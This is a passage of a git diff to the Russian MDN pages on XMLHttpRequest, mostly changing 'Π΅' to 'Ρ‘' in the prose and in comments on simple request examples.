</font></font><code>responseType</code>Β <font><font>для синхронных запросов Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅Β </font></font><code>InvalidAccessError</code><font><font>.</font></font></p>
+<p><strong><code>XMLHttpRequest.responseType</code></strong>Β <font><font>Бвойство являСтся пСрСчислимым Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ,Β </font><font>ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π°.Β </font><font>Он Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π°Π²Ρ‚ΠΎΡ€Ρƒ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ‚ΠΈΠΏ ΠΎΡ‚Π²Π΅Ρ‚Π°. Если Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π·Π°Π΄Π°Π½ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ использовано Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <strong><code>text</code></strong></font></font><font><font>.Β </font></font><font><font>Установка значСния responseType Π² Β«documentΒ» игнорируСтся, Ссли выполняСтся Π²Β Β </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>Ρ€Π°Π±ΠΎΡ‡Π΅ΠΉ</font></font></a><font><font> срСдС.Β </font><font>ΠŸΡ€ΠΈ настройкС </font></font><code>responseType</code><font><font>Β Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Π²Ρ‚ΠΎΡ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ сСрвСр Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ отправляСт ΠΎΡ‚Π²Π΅Ρ‚, совмСстимый с этим Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠΌ. Если сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄Π°Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ совмСстимы с установлСнным </font></font><code>responseType</code><font><font>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β </font></font><code>response</code>Β <font><font>Π±ΡƒΠ΄Π΅Ρ‚Β </font></font><code>null</code><font><font>.Β </font><font>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, установка </font></font><code>responseType</code>Β <font><font>для синхронных запросов Π²Ρ‹Π·ΠΎΠ²Π΅Ρ‚Β ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅Β </font></font><code>InvalidAccessError</code><font><font>.</font></font></p>
<p><font><font>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ значСния </font></font><code>responseType</code><font><font>:</font></font></p>
diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html
index ed61b3451b..635d27ddc1 100644
--- a/files/ru/web/api/xmlhttprequest/responseurl/index.html
+++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/XMLHttpRequest/responseURL
---
<div>{{APIRef('XMLHttpRequest')}}</div>
-<p>Бвойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сСриализованный URL ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ ΠΏΡƒΡΡ‚ΡƒΡŽ строку,Β  Ссли URL Ρ€Π°Π²Π΅Π½Β <code>null</code>. Если URL Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½, любой URL Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π² URL Π±ΡƒΠ΄Π΅Ρ‚ стСрт. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>responseURL</code> станСт ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ URL,Β ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹ΠΌ послС Π»ΡŽΠ±Ρ‹Ρ… Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΠ².</p>
+<p>Бвойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ сСриализованный URL ΠΎΡ‚Π²Π΅Ρ‚Π° ΠΈΠ»ΠΈ ΠΏΡƒΡΡ‚ΡƒΡŽ строку,Β  Ссли URL Ρ€Π°Π²Π΅Π½Β <code>null</code>. Если URL Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½, любой URL Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ Π² URL Π±ΡƒΠ΄Π΅Ρ‚ стёрт. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>responseURL</code> станСт ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΒ URL,Β ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌΡ‹ΠΌ послС Π»ΡŽΠ±Ρ‹Ρ… Ρ€Π΅Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΠ².</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html
index a7c82474a7..34736d0716 100644
--- a/files/ru/web/api/xmlhttprequest/send/index.html
+++ b/files/ru/web/api/xmlhttprequest/send/index.html
@@ -78,7 +78,7 @@ translation_of: Web/API/XMLHttpRequest/send
xhr.open('GET', '/server', true);
xhr.onload = function () {
- // Запрос Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.
+ // Запрос Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.
};
xhr.send(null);
@@ -94,12 +94,12 @@ xhr.send(null);
<pre><code>var xhr = new XMLHttpRequest();
xhr.open("POST", '/server', true);
-//ΠŸΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π² запросС
+//ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π² запросС
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {//Π’Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΡ€ΠΈ смСнС состояния.
if(xhr.readyState == XMLHttpRequest.DONE &amp;&amp; xhr.status == 200) {
- // Запрос Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.
+ // Запрос Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Π—Π΄Π΅ΡΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚.
}
}
xhr.send("foo=bar&amp;lorem=ipsum");
diff --git a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
index 527dfe1f5a..454bc054db 100644
--- a/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
+++ b/files/ru/web/api/xmlhttprequest/sending_and_receiving_binary_data/index.html
@@ -5,9 +5,9 @@ translation_of: Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data
---
<h2 id="Receiving_binary_data_using_JavaScript_typed_arrays" name="Receiving_binary_data_using_JavaScript_typed_arrays">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ JavaScriptΒ arraysΒ </h2>
-<p>Бвойство responseType ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° XMLHttpRequest ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ для измСнСния ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° с сСрвСра. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния: пустая строка (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), "arraybuffer", "blob", "document", "json" ΠΈ "text". Бвойство response Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚Π΅Π»ΠΎ сущности Π² соотвСтствии с Ρ‚ΠΈΠΏΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠ°ΠΊ ArrayBuffer, Blob, Document, JSON ΠΈΠ»ΠΈ string. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ null, Ссли запрос Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ ΠΈΠ»ΠΈ Π½Π΅ Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ.</p>
+<p>Бвойство responseType ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° XMLHttpRequest ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π΄Π°Ρ‚ΡŒ для измСнСния ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ° ΠΎΡ‚Π²Π΅Ρ‚Π° с сСрвСра. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния: пустая строка (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ), "arraybuffer", "blob", "document", "json" ΠΈ "text". Бвойство response Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Ρ‚Π΅Π»ΠΎ сущности Π² соотвСтствии с Ρ‚ΠΈΠΏΠΎΠΌ ΠΎΡ‚Π²Π΅Ρ‚Π°, ΠΊΠ°ΠΊ ArrayBuffer, Blob, Document, JSON ΠΈΠ»ΠΈ string. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ null, Ссли запрос Π½Π΅ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ ΠΈΠ»ΠΈ Π½Π΅ Π±Ρ‹Π» ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΌ.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ считываСтся ΠΊΠ°ΠΊ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈ создаСтся 8-разрядный массив Ρ†Π΅Π»Ρ‹Ρ… чисСл Π±Π΅Π· Π·Π½Π°ΠΊΠ° ΠΈΠ· Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚ΠΎΠ². ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ пиксСли. Для этого Π²Π°ΠΌ понадобится <a href="https://github.com/devongovett/png.js/">Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° дСкодирования png</a>.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ считываСтся ΠΊΠ°ΠΊ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» ΠΈ создаётся 8-разрядный массив Ρ†Π΅Π»Ρ‹Ρ… чисСл Π±Π΅Π· Π·Π½Π°ΠΊΠ° ΠΈΠ· Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚ΠΎΠ². ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ пиксСли. Для этого Π²Π°ΠΌ понадобится <a href="https://github.com/devongovett/png.js/">Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° дСкодирования png</a>.</p>
<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
@@ -90,9 +90,9 @@ var abyte = filestream.charCodeAt(x) &amp; 0xff; // throw away high-order byte (
<h2 id="Sending_binary_data" name="Sending_binary_data">ΠžΡ‚ΠΏΡ€Π°Π²ΠΊΠ° Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>send</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° XMLHttpRequest Π±Ρ‹Π» Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π»Π΅Π³ΠΊΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, ΠΈΠ»ΠΈ {{domxref("File")}}.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <code>send</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° XMLHttpRequest Π±Ρ‹Π» Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Π»Ρ‘Π³ΠΊΡƒΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠ½ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a>, {{domxref("Blob")}}, ΠΈΠ»ΠΈ {{domxref("File")}}.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π½Π° Π»Π΅Ρ‚Ρƒ создаСтся тСкстовый Ρ„Π°ΠΉΠ» ΠΈ отправляСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>POST</code>Β Π½Π° сСрвСр. Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π½ΠΎ Π½Π΅Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠΌ.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ Π½Π° Π»Π΅Ρ‚Ρƒ создаётся тСкстовый Ρ„Π°ΠΉΠ» ΠΈ отправляСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>POST</code>Β Π½Π° сСрвСр. Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π½ΠΎ Π½Π΅Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ сСбС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с Π±ΠΈΠ½Π°Ρ€Π½Ρ‹ΠΌ Ρ„Π°ΠΉΠ»ΠΎΠΌ.</p>
<pre class="brush: js notranslate">var oReq = new XMLHttpRequest();
oReq.open("POST", url, true);
@@ -121,7 +121,7 @@ xhr.open("POST", url, false);
xhr.send(myArray);
</pre>
-<p>Π—Π΄Π΅ΡΡŒ создаСтся ΠΈ отправляСтся 512-Ρ‚ΠΈ Π±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ массив из 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… Ρ†Π΅Π»Ρ‹Ρ… чисСл, Π½, разумССтся, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
+<p>Π—Π΄Π΅ΡΡŒ создаётся ΠΈ отправляСтся 512-Ρ‚ΠΈ Π±Π°ΠΉΡ‚ΠΎΠ²Ρ‹ΠΉ массив из 8-Π±ΠΈΡ‚Π½Ρ‹Ρ… Ρ†Π΅Π»Ρ‹Ρ… чисСл, Π½, разумССтся, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅.</p>
<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="ArrayBuffer"><code>ArrayBuffer</code></a> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ XMLHttpRequest появилась Π² Gecko 9.0 {{geckoRelease("9.0")}}. <strong>Add information about other browsers' support here.</strong></div>
@@ -144,7 +144,7 @@ req.sendAsBinary(aBody);
<p>Π’ строкС 5 ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>sendAsBinary()</code> Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ запрос.</p>
-<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΈ скоро Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½. ВмСсто Π½Π΅Π³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартный ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>send(Blob data)</code>.</div>
+<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> НСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>sendAsBinary</code> начиная с Gecko 31 {{ geckoRelease(31) }} считаСтся ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΈ скоро Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½. ВмСсто Π½Π΅Π³ΠΎ, ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅, ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ стандартный ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>send(Blob data)</code>.</div>
<p>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ экзСмпляр {{interface("nsIFileInputStream")}} Π² ΠΌΠ΅Ρ‚ΠΎΠ΄Β <a href="/en-US/docs/DOM/XMLHttpRequest#send()" title="XMLHttpRequest#send()"><code>send()</code></a>. Π’ этом случаС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊΒ <code>Content-Length</code>Β Π·Π°ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ явно Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ информация получаСтся ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° автоматичСски:</p>
diff --git a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
index 4304530ac7..0a7d0f9cf4 100644
--- a/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
+++ b/files/ru/web/api/xmlhttprequest/using_xmlhttprequest/index.html
@@ -226,7 +226,7 @@ The second line.
<h4 id="НСбольшой_классичСский_Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ">НСбольшой классичСский Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ</h4>
-<p>ВсС Π΄Π°Π½Π½Ρ‹Π΅ эффСкты Π΄ΠΎΡΡ‚ΠΈΠ³Π°ΡŽΡ‚ΡΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π²Π΅Π± Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ отправляСтС {{ HTMLElement("form") }}. Но Ссли Π²Π°ΠΌ трСбуСтся Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ всС ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ лишь JavaScript, Ρ‚ΠΎ Π²Π°ΠΌ придСтся ΠΏΡ€ΠΎΠΈΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€ ΠΎΠ±ΠΎ <em>всСх</em> выполняСмых опСрациях. Для, Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΡ‹ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <em>чистого</em> AJAX, потрСбуСтся слишком комплСксноС описаниС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚ΡƒΡ‚ Ρ€Π°ΡΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ ΠΎ Π½Π΅ΠΌ Π²ΠΎ всСх подробностях. Π’ связи с этим, ΠΌΡ‹ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π»ΠΈ здСсь <strong>ΠΏΠΎΠ»Π½Ρ‹ΠΉ(Π½ΠΎ всС Π΅Ρ‰Π΅ дидактичСский) Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ, </strong>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ всС ΠΆΠ΅ способСн ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ способа ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ ΠΈ, Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ <strong>Ρ„Π°ΠΉΠ»ΠΎΠ²ΡƒΡŽ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.</strong></p>
